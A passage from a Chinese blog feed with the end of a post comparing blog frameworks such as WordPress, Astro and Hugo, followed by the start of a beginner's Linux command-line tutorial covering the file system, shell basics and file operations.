<strong>60000+ 插件</strong></td><td>电商、SEO、表单、缓存…应有尽有</td></tr><tr><td>🎨 <strong>10000+ 主题</strong></td><td>从免费到高级定制，选择极多</td></tr><tr><td>👥 <strong>用户角色管理</strong></td><td>管理员、编辑、作者等多角色支持</td></tr><tr><td>🔌 <strong>REST API</strong></td><td>可作为 Headless CMS 对接现代前端</td></tr></tbody></table><h3><span id="%F0%9F%93%8A-%E7%94%9F%E6%80%81%E8%A7%84%E6%A8%A1">📊 生态规模</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">WordPress 生态<br>├── 🧩 插件: 60,000+<br>├── 🎨 主题: 10,000+<br>├── 🌍 翻译: 200+ 语言<br>├── 👥 社区: 全球数百万用户<br>└── 💼 电商: WooCommerce 覆盖 30% 在线商店<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>功能最全面</strong>：从博客到电商，什么都能做</li><li>✅ <strong>零代码建站</strong>：拖拽式编辑器，非开发者友好</li><li>✅ <strong>生态无敌</strong>：插件和主题数量碾压一切</li><li>❌ <strong>性能优化复杂</strong>：需要缓存插件、CDN 等额外配置</li><li>❌ <strong>安全风险</strong>：热门目标，需要定期更新维护</li><li>❌ <strong>PHP 技术栈</strong>：对前端开发者不友好</li></ul><hr><h2><span id="8-astro--%E5%B2%9B%E5%B1%BF%E6%9E%B6%E6%9E%84%E9%BB%98%E8%AE%A4%E9%9B%B6-js">8. Astro — 岛屿架构，默认零 JS</span></h2><p><img src="https://astro.build/assets/press/astro-icon-dark.svg" alt="Astro"></p><p><strong>官网</strong>: <a href="https://astro.build/">https://astro.build</a><br><strong>GitHub Stars</strong>: ⭐ 50k+<br><strong>首发年份</strong>: 2021</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🏝️ <strong>岛屿架构</strong></td><td>页面 99% 是纯静态 HTML，交互部分像”岛屿”一样独立激活</td></tr><tr><td>📦 <strong>默认零 JS</strong></td><td>最终页面不含任何 JavaScript，除非你明确需要</td></tr><tr><td>🔌 <strong>多框架混用</strong></td><td>同一页面可同时使用 React、Vue、Svelte、Solid 组件</td></tr><tr><td>📝 <strong>内容优先</strong></td><td>Markdown / MDX 原生支持，Content Collections API 管理内容</td></tr><tr><td>⚡ <strong>极致性能</strong></td><td>默认 Lighthouse 满分，首屏加载极快</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-%E6%A0%B8%E5%BF%83%E5%91%BD%E4%BB%A4">🔧 核心命令</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">npm create astro@latest       <span class="hljs-comment"># 创建项目</span><br>npm run dev                   <span class="hljs-comment"># 本地预览</span><br>npm run build                 <span class="hljs-comment"># 构建</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E5%B2%9B%E5%B1%BF%E6%9E%B6%E6%9E%84%E7%A4%BA%E6%84%8F">📊 岛屿架构示意</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">传统 SPA 框架（如 Gatsby）：<br>┌──────────────────────────────────┐<br>│         整页都是 JS 水合           │  ← 200KB+ JS<br>│  ┌──────┐ ┌──────┐ ┌──────┐     │<br>│  │ Nav  │ │ 内容  │ │ 评论  │     │<br>│  └──────┘ └──────┘ └──────┘     │<br>└──────────────────────────────────┘<br><br>Astro 岛屿架构：<br>┌──────────────────────────────────┐<br>│  Nav（纯HTML）  │  内容（纯HTML）  │  ← 零 JS！<br>│                 │                │<br>│          ┌──────┴──────┐         │<br>│          │ 评论区(React) │         │  ← 只有这个加载 JS<br>│          └─────────────┘         │<br>└──────────────────────────────────┘<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E4%B8%8E-hexo--hugo-%E7%9A%84%E5%85%B3%E7%B3%BB">📊 与 Hexo / Hugo 的关系</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">graph TD<br>    subgraph "传统静态博客"<br>        A1[Hexo] --&gt; B1[纯静态 HTML]<br>        A2[Hugo] --&gt; B1<br>    end<br>    <br>    subgraph "现代混合框架"<br>        C1[Astro] --&gt; D1[静态 HTML + 按需 JS]<br>        C2[Next.js] --&gt; D1<br>        C3[Gatsby] --&gt; D1<br>    end<br>    <br>    B1 --&gt; E[极致性能]<br>    D1 --&gt; E<br>    D1 --&gt; F[丰富交互]<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>性能天花板极高</strong>：默认零 JS，Lighthouse 满分是常态</li><li>✅ <strong>框架无关</strong>：React/Vue/Svelte 组件可以混在同一页面</li><li>✅ <strong>学习曲线温和</strong>：<code>.astro</code> 文件语法接近 HTML，上手极快</li><li>✅ <strong>View Transitions</strong>：内置页面过渡动画，SPA 般的浏览体验</li><li>❌ <strong>不适合高交互应用</strong>：不适合做在线协作工具、后台管理等</li><li>❌ <strong>相对年轻</strong>：2021 年才发布，部分边缘场景生态不够完善</li></ul><hr><h2><span id="%E5%A6%82%E4%BD%95%E9%80%89%E6%8B%A9">如何选择？</span></h2><h3><span id="%F0%9F%8E%AF-%E6%8C%89%E5%9C%BA%E6%99%AF%E6%8E%A8%E8%8D%90">🎯 按场景推荐</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart TD<br>    A[你想搭建什么？] --&gt; B{你是开发者吗？}<br>    <br>    B --&gt;|是| C{主要用途？}<br>    B --&gt;|否| D[WordPress&lt;br/&gt;零代码，功能全]<br>    <br>    C --&gt;|技术博客| E{熟悉什么框架？}<br>    C --&gt;|技术文档| F[VitePress&lt;br/&gt;文档体验最佳]<br>    C --&gt;|作品展示| G[Astro&lt;br/&gt;框架灵活，性能极致]<br>    <br>    E --&gt;|Vue| H[VitePress 或 Hexo]<br>    E --&gt;|React| I[Astro 或 Gatsby]<br>    E --&gt;|无偏好| J{在乎构建速度？}<br>    <br>    J --&gt;|是| K[Hugo&lt;br/&gt;毫秒级构建]<br>    J --&gt;|否| L[Hexo&lt;br/&gt;中文生态好]<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E5%86%B3%E7%AD%96%E7%9F%A9%E9%98%B5">📊 决策矩阵</span></h3><table><thead><tr><th>你的需求</th><th>推荐框架</th><th>一句话理由</th></tr></thead><tbody><tr><td>🎓 <strong>初学者入门</strong></td><td><strong>Hexo</strong></td><td>中文教程多，部署最简单</td></tr><tr><td>⚡ <strong>追求构建速度</strong></td><td><strong>Hugo</strong></td><td>万篇文章秒级构建</td></tr><tr><td>🏠 <strong>GitHub 免费托管</strong></td><td><strong>Jekyll</strong></td><td>GitHub Pages 原生支持</td></tr><tr><td>⚛️ <strong>React 开发者</strong></td><td><strong>Gatsby</strong></td><td>React + GraphQL 现代化</td></tr><tr><td>📖 <strong>写技术文档</strong></td><td><strong>VitePress</strong></td><td>Vite 驱动，秒级热更新</td></tr><tr><td>💰 <strong>内容变现</strong></td><td><strong>Ghost</strong></td><td>内置会员 + 付费订阅</td></tr><tr><td>🏪 <strong>全能型站点</strong></td><td><strong>WordPress</strong></td><td>插件生态无可匹敌</td></tr><tr><td>🏝️ <strong>混合框架灵活性</strong></td><td><strong>Astro</strong></td><td>多框架混用 + 零 JS 默认</td></tr></tbody></table><hr><h2><span id="%F0%9F%8F%81-%E6%80%BB%E7%BB%93">🏁 总结</span></h2><table><thead><tr><th></th><th>Hexo</th><th>Hugo</th><th>Jekyll</th><th>Gatsby</th><th>VitePress</th><th>Ghost</th><th>WordPress</th><th>Astro</th></tr></thead><tbody><tr><td><strong>类型</strong></td><td>静态</td><td>静态</td><td>静态</td><td>静态</td><td>静态</td><td>动态</td><td>动态</td><td>静态</td></tr><tr><td><strong>速度</strong></td><td>⚡⚡</td><td>⚡⚡⚡</td><td>⚡⚡</td><td>⚡</td><td>⚡⚡⚡</td><td>N/A</td><td>N/A</td><td>⚡⚡⚡</td></tr><tr><td><strong>上手难度</strong></td><td>易</td><td>中</td><td>易</td><td>难</td><td>中</td><td>中</td><td>易</td><td>中</td></tr><tr><td><strong>中文资源</strong></td><td>⭐⭐⭐</td><td>⭐⭐</td><td>⭐⭐</td><td>⭐⭐</td><td>⭐⭐</td><td>⭐</td><td>⭐⭐⭐</td><td>⭐⭐</td></tr><tr><td><strong>主题数量</strong></td><td>300+</td><td>400+</td><td>200+</td><td>300+</td><td>50+</td><td>100+</td><td>10000+</td><td>200+</td></tr><tr><td><strong>适用规模</strong></td><td>中小型</td><td>任意</td><td>中小型</td><td>中大型</td><td>文档站</td><td>中大型</td><td>任意</td><td>中小型</td></tr></tbody></table><hr><blockquote><p>💡 <strong>个人推荐</strong>：如果你刚入门，<strong>Hexo + GitHub Pages</strong> 是最省心的组合；追求极致性能选 <strong>Hugo</strong>；想要现代开发体验和框架灵活性选 <strong>Astro</strong>；做技术文档站必选 <strong>VitePress</strong>；想要商业变现上 <strong>Ghost</strong>。</p></blockquote><hr><p><em>📅 更新于 2026-06-27 · 如有疑问欢迎讨论</em></p></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/06/27/%E5%8D%9A%E5%AE%A2%E6%A1%86%E6%9E%B6%E5%AF%B9%E6%AF%94%E6%8C%87%E5%8D%97/</id>
    <link href="https://ttquk.github.io/2026/06/27/%E5%8D%9A%E5%AE%A2%E6%A1%86%E6%9E%B6%E5%AF%B9%E6%AF%94%E6%8C%87%E5%8D%97/"/>
    <published>2026-06-27T12:14:00.000Z</published>
    <summary>从性能、生态、易用性、适用场景四个维度，全面对比 Hexo、Hugo、Jekyll、WordPress 等主流博客框架，帮你选择最适合的建站工具。</summary>
    <title>🌐主流博客框架对比指南</title>
    <updated>2026-07-12T03:16:27.615Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="Linux" scheme="https://ttquk.github.io/categories/Linux/"/>
    <category term="Linux" scheme="https://ttquk.github.io/tags/Linux/"/>
    <category term="命令行" scheme="https://ttquk.github.io/tags/%E5%91%BD%E4%BB%A4%E8%A1%8C/"/>
    <category term="基础教程" scheme="https://ttquk.github.io/tags/%E5%9F%BA%E7%A1%80%E6%95%99%E7%A8%8B/"/>
    <category term="Shell" scheme="https://ttquk.github.io/tags/Shell/"/>
    <content>
      <![CDATA[<html><head></head><body><h2><span id="%E7%9B%AE%E5%BD%95">目录</span></h2><ol><li><a href="#1-linux-%E7%B3%BB%E7%BB%9F%E6%A6%82%E8%BF%B0">Linux 系统概述</a></li><li><a href="#2-linux-%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F%E7%BB%93%E6%9E%84">Linux 文件系统结构</a></li><li><a href="#3-%E7%BB%88%E7%AB%AF%E4%B8%8E-shell-%E5%9F%BA%E7%A1%80">终端与 Shell 基础</a></li><li><a href="#4-%E6%96%87%E4%BB%B6%E5%92%8C%E7%9B%AE%E5%BD%95%E6%93%8D%E4%BD%9C%E5%91%BD%E4%BB%A4">文件和目录操作命令</a></li><li><a href="#5-%E6%96%87%E4%BB%B6%E6%9F%A5%E7%9C%8B%E4%B8%8E%E7%BC%96%E8%BE%91%E5%91%BD%E4%BB%A4">文件查看与编辑命令</a></li><li><a href="#6-%E7%94%A8%E6%88%B7%E5%92%8C%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86">用户和权限管理</a></li><li><a href="#7-%E8%BF%9B%E7%A8%8B%E7%AE%A1%E7%90%86%E5%91%BD%E4%BB%A4">进程管理命令</a></li><li><a href="#8-%E7%A3%81%E7%9B%98%E4%B8%8E%E5%AD%98%E5%82%A8%E7%AE%A1%E7%90%86">磁盘与存储管理</a></li><li><a href="#9-%E7%BD%91%E7%BB%9C%E7%9B%B8%E5%85%B3%E5%91%BD%E4%BB%A4">网络相关命令</a></li><li><a href="#10-%E8%BD%AF%E4%BB%B6%E5%8C%85%E7%AE%A1%E7%90%86">软件包管理</a></li><li><a href="#11-%E7%B3%BB%E7%BB%9F%E4%BF%A1%E6%81%AF%E4%B8%8E%E7%9B%91%E6%8E%A7">系统信息与监控</a></li><li><a href="#12-%E5%8E%8B%E7%BC%A9%E4%B8%8E%E5%BD%92%E6%A1%A3">压缩与归档</a></li><li><a href="#13-%E6%96%87%E6%9C%AC%E5%A4%84%E7%90%86%E4%B8%89%E5%89%91%E5%AE%A2">文本处理三剑客</a></li><li><a href="#14-shell-%E8%84%9A%E6%9C%AC%E5%9F%BA%E7%A1%80">Shell 脚本基础</a></li><li><a href="#15-%E5%AE%9E%E7%94%A8%E6%8A%80%E5%B7%A7%E4%B8%8E%E5%BF%AB%E6%8D%B7%E9%94%AE">实用技巧与快捷键</a></li></ol><hr><h2><span id="1-linux-%E7%B3%BB%E7%BB%9F%E6%A6%82%E8%BF%B0">1. Linux 系统概述</span></h2><h3><span id="%E4%BB%80%E4%B9%88%E6%98%AF-linux">什么是 Linux？</span></h3><p><strong>Linux</strong> 是一个开源的类 Unix 操作系统内核，由 Linus Torvalds 于 1991 年首次发布。如今，Linux 已成为服务器领域的主导操作系统，也是 Android 系统的底层核心。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">mindmap<br>  root((Linux 系统))<br>    内核 Kernel<br>      进程管理<br>      内存管理<br>      文件系统<br>      设备驱动<br>      网络协议栈<br>    Shell<br>      Bash<br>      Zsh<br>      Fish<br>    应用层<br>      命令行工具<br>      GUI 桌面<br>      服务守护进程<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E4%B8%BB%E6%B5%81-linux-%E5%8F%91%E8%A1%8C%E7%89%88">主流 Linux 发行版</span></h3><table><thead><tr><th>发行版</th><th>包管理器</th><th>适用场景</th><th>特点</th></tr></thead><tbody><tr><td><strong>Ubuntu</strong></td><td><code>apt</code></td><td>桌面/服务器</td><td>用户友好，社区活跃</td></tr><tr><td><strong>CentOS/RHEL</strong></td><td><code>yum</code>/<code>dnf</code></td><td>企业服务器</td><td>稳定可靠，长期支持</td></tr><tr><td><strong>Debian</strong></td><td><code>apt</code></td><td>服务器</td><td>极度稳定，自由软件</td></tr><tr><td><strong>Arch Linux</strong></td><td><code>pacman</code></td><td>极客/开发</td><td>滚动更新，高度定制</td></tr><tr><td><strong>Kali Linux</strong></td><td><code>apt</code></td><td>安全测试</td><td>预装渗透测试工具</td></tr><tr><td><strong>Alpine</strong></td><td><code>apk</code></td><td>容器/Docker</td><td>极致轻量，安全</td></tr></tbody></table><hr><h2><span id="2-linux-%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F%E7%BB%93%E6%9E%84">2. Linux 文件系统结构</span></h2><h3><span id="%E7%9B%AE%E5%BD%95%E6%A0%91%E7%BB%93%E6%9E%84">目录树结构</span></h3><p>Linux 采用<strong>单一根目录</strong>的树状结构，所有文件和设备都从 <code>/</code> 开始。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">/                           # 根目录<br>├── /bin                    # 基本系统命令（ls, cp, mv 等）<br>├── /boot                   # 启动文件（内核、grub）<br>├── /dev                    # 设备文件（硬盘、终端等）<br>├── /etc                    # 系统配置文件<br>│   ├── /ssh/               # SSH 配置<br>│   ├── /nginx/             # Nginx 配置<br>│   └── /systemd/           # Systemd 服务配置<br>├── /home                   # 用户主目录<br>│   ├── /alice/<br>│   └── /bob/<br>├── /lib                    # 系统库文件<br>├── /media                  # 挂载点（U盘、光盘）<br>├── /mnt                    # 临时挂载点<br>├── /opt                    # 第三方软件<br>├── /proc                   # 进程和内核信息（虚拟文件系统）<br>├── /root                   # root 用户主目录<br>├── /run                    # 运行时临时文件<br>├── /sbin                   # 系统管理命令<br>├── /srv                    # 服务数据目录<br>├── /sys                    # 系统硬件信息（虚拟文件系统）<br>├── /tmp                    # 临时文件（重启清空）<br>├── /usr                    # 用户程序和数据<br>│   ├── /bin/               # 用户命令<br>│   ├── /lib/               # 用户库<br>│   ├── /local/             # 本地编译安装的软件<br>│   └── /share/             # 共享数据<br>└── /var                    # 可变数据（日志、缓存）<br>    ├── /log/               # 日志文件<br>    ├── /cache/             # 缓存<br>    └── /spool/             # 队列任务<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E8%B7%AF%E5%BE%84%E7%B1%BB%E5%9E%8B">路径类型</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 绝对路径 - 从根目录 / 开始</span><br>/home/alice/Documents/file.txt<br>/etc/nginx/nginx.conf<br><br><span class="hljs-comment"># 相对路径 - 从当前目录开始</span><br>./file.txt           <span class="hljs-comment"># 当前目录下的文件</span><br>../file.txt          <span class="hljs-comment"># 上级目录下的文件</span><br>../../etc/config     <span class="hljs-comment"># 上两级目录下的文件</span><br>~                    <span class="hljs-comment"># 当前用户的主目录</span><br>~/Downloads          <span class="hljs-comment"># 当前用户的下载目录</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="3-%E7%BB%88%E7%AB%AF%E4%B8%8E-shell-%E5%9F%BA%E7%A1%80">3. 终端与 Shell 基础</span></h2><h3><span id="%E4%BB%80%E4%B9%88%E6%98%AF-shell">什么是 Shell？</span></h3><p><strong>Shell</strong> 是用户与 Linux 内核之间的<strong>命令解释器</strong>。你输入命令，Shell 将其翻译给内核执行，然后将结果返回给你。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart LR<br>    A[👤 用户] --&gt;|输入命令| B[🐚 Shell]<br>    B --&gt;|系统调用| C[⚙️ Linux 内核]<br>    C --&gt;|操作| D[💾 硬件]<br>    D --&gt;|返回| C<br>    C --&gt;|返回| B<br>    B --&gt;|显示结果| A<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E5%B8%B8%E7%94%A8-shell">常用 Shell</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 查看当前使用的 Shell</span><br><span class="hljs-built_in">echo</span> <span class="hljs-variable">$SHELL</span>          <span class="hljs-comment"># 输出: /bin/bash</span><br><br><span class="hljs-comment"># 查看系统中可用的 Shell</span><br><span class="hljs-built_in">cat</span> /etc/shells<br><br><span class="hljs-comment"># 切换 Shell（需要重新登录生效）</span><br>chsh -s /bin/zsh<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E5%91%BD%E4%BB%A4%E5%9F%BA%E6%9C%AC%E6%A0%BC%E5%BC%8F">命令基本格式</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">command</span> [-options] [arguments]<br><br><span class="hljs-comment"># 示例:</span><br><span class="hljs-built_in">ls</span> -l /home           <span class="hljs-comment"># ls 是命令, -l 是选项, /home 是参数</span><br>tar -xzvf file.tar.gz <span class="hljs-comment"># tar 是命令, -xzvf 是组合选项, file.tar.gz 是参数</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E8%8E%B7%E5%8F%96%E5%B8%AE%E5%8A%A9">获取帮助</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># man - 查看命令手册（最详细）</span><br>man <span class="hljs-built_in">ls</span>               <span class="hljs-comment"># 按 q 退出</span><br><br><span class="hljs-comment"># --help - 查看命令帮助（简洁）</span><br><span class="hljs-built_in">ls</span> --<span class="hljs-built_in">help</span><br><br><span class="hljs-comment"># info - 查看信息页（GNU 风格）</span><br>info coreutils<br><br><span class="hljs-comment"># whatis - 一句话描述命令</span><br>whatis <span class="hljs-built_in">ls</span><br><br><span class="hljs-comment"># apropos - 搜索相关命令</span><br>apropos network<br><br><span class="hljs-comment"># tldr - 社区维护的简化帮助（需安装）</span><br>tldr tar<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="4-%E6%96%87%E4%BB%B6%E5%92%8C%E7%9B%AE%E5%BD%95%E6%93%8D%E4%BD%9C%E5%91%BD%E4%BB%A4">4. 文件和目录操作命令</span></h2><h3><span id="%E7%9B%AE%E5%BD%95%E5%AF%BC%E8%88%AA">目录导航</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># pwd - 显示当前工作目录</span><br><span class="hljs-built_in">pwd</span>                  <span class="hljs-comment"># /home/alice</span><br><br><span class="hljs-comment"># cd - 切换目录</span><br><span class="hljs-built_in">cd</span> /etc              <span class="hljs-comment"># 进入 /etc 目录</span><br><span class="hljs-built_in">cd</span> ~                 <span class="hljs-comment"># 回到用户主目录</span><br><span class="hljs-built_in">cd</span> -                 <span class="hljs-comment"># 回到上一个目录</span><br><span class="hljs-built_in">cd</span> ..                <span class="hljs-comment"># 回到上级目录</span><br><span class="hljs-built_in">cd</span> ../..             <span class="hljs-comment"># 回到上两级目录</span><br><span class="hljs-built_in">cd</span>                   <span class="hljs-comment"># 直接回车，等同于 cd ~</span><br><br><span class="hljs-comment"># ls - 列出目录内容</span><br><span class="hljs-built_in">ls</span>                   <span class="hljs-comment"># 列出当前目录内容</span><br><span class="hljs-built_in">ls</span> -l                <span class="hljs-comment"># 详细列表（长格式）</span><br><span class="hljs-built_in">ls</span> -a                <span class="hljs-comment"># 显示所有文件（包括隐藏文件）</span><br><span class="hljs-built_in">ls</span> -la               <span class="hljs-comment"># 组合：详细列表 + 隐藏文件</span><br><span class="hljs-built_in">ls</span> -lh               <span class="hljs-comment"># 人类可读的文件大小（K, M, G）</span><br><span class="hljs-built_in">ls</span> -lt               <span class="hljs-comment"># 按修改时间排序（最新的在前）</span><br><span class="hljs-built_in">ls</span> -ltr              <span class="hljs-comment"># 按修改时间排序（最旧的在前）</span><br><span class="hljs-built_in">ls</span> -R                <span class="hljs-comment"># 递归列出所有子目录</span><br><span class="hljs-built_in">ls</span> -S                <span class="hljs-comment"># 按文件大小排序</span><br><span class="hljs-built_in">ls</span> *.txt             <span class="hljs-comment"># 列出所有 .txt 文件</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E7%9B%AE%E5%BD%95%E6%93%8D%E4%BD%9C">目录操作</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># mkdir - 创建目录</span><br><span class="hljs-built_in">mkdir</span> mydir              <span class="hljs-comment"># 创建单个目录</span><br><span class="hljs-built_in">mkdir</span> -p a/b/c/d         <span class="hljs-comment"># 递归创建多级目录</span><br><span class="hljs-built_in">mkdir</span> -m 755 mydir       <span class="hljs-comment"># 创建时指定权限</span><br><br><span class="hljs-comment"># rmdir - 删除空目录</span><br><span class="hljs-built_in">rmdir</span> emptydir           <span class="hljs-comment"># 只能删除空目录</span><br><br><span class="hljs-comment"># rm - 删除文件或目录</span><br><span class="hljs-built_in">rm</span> file.txt              <span class="hljs-comment"># 删除文件</span><br><span class="hljs-built_in">rm</span> -r <span class="hljs-built_in">dir</span>/               <span class="hljs-comment"># 递归删除目录及其内容</span><br><span class="hljs-built_in">rm</span> -rf <span class="hljs-built_in">dir</span>/              <span class="hljs-comment"># 强制递归删除（危险！不提示确认）</span><br><span class="hljs-built_in">rm</span> -i file.txt           <span class="hljs-comment"># 删除前逐一确认</span><br><span class="hljs-built_in">rm</span> -v file.txt           <span class="hljs-comment"># 显示删除过程</span><br><span class="hljs-built_in">rm</span> *.<span class="hljs-built_in">log</span>                 <span class="hljs-comment"># 删除所有 .log 文件</span><br></code></pre></td></tr></tbody></table></figure><blockquote><p>⚠️ <strong>警告</strong>：<code>rm -rf</code> 非常危险，没有回收站，删除后无法恢复！</p></blockquote><h3><span id="%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C">文件操作</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># touch - 创建空文件或更新文件时间戳</span><br><span class="hljs-built_in">touch</span> newfile.txt            <span class="hljs-comment"># 创建空文件</span><br><span class="hljs-built_in">touch</span> file{1..10}.txt        <span class="hljs-comment"># 批量创建 file1.txt ~ file10.txt</span><br><br><span class="hljs-comment"># cp - 复制文件或目录</span><br><span class="hljs-built_in">cp</span> source.txt dest.txt       <span class="hljs-comment"># 复制文件</span><br><span class="hljs-built_in">cp</span> -r source_dir/ dest_dir/  <span class="hljs-comment"># 递归复制目录</span><br><span 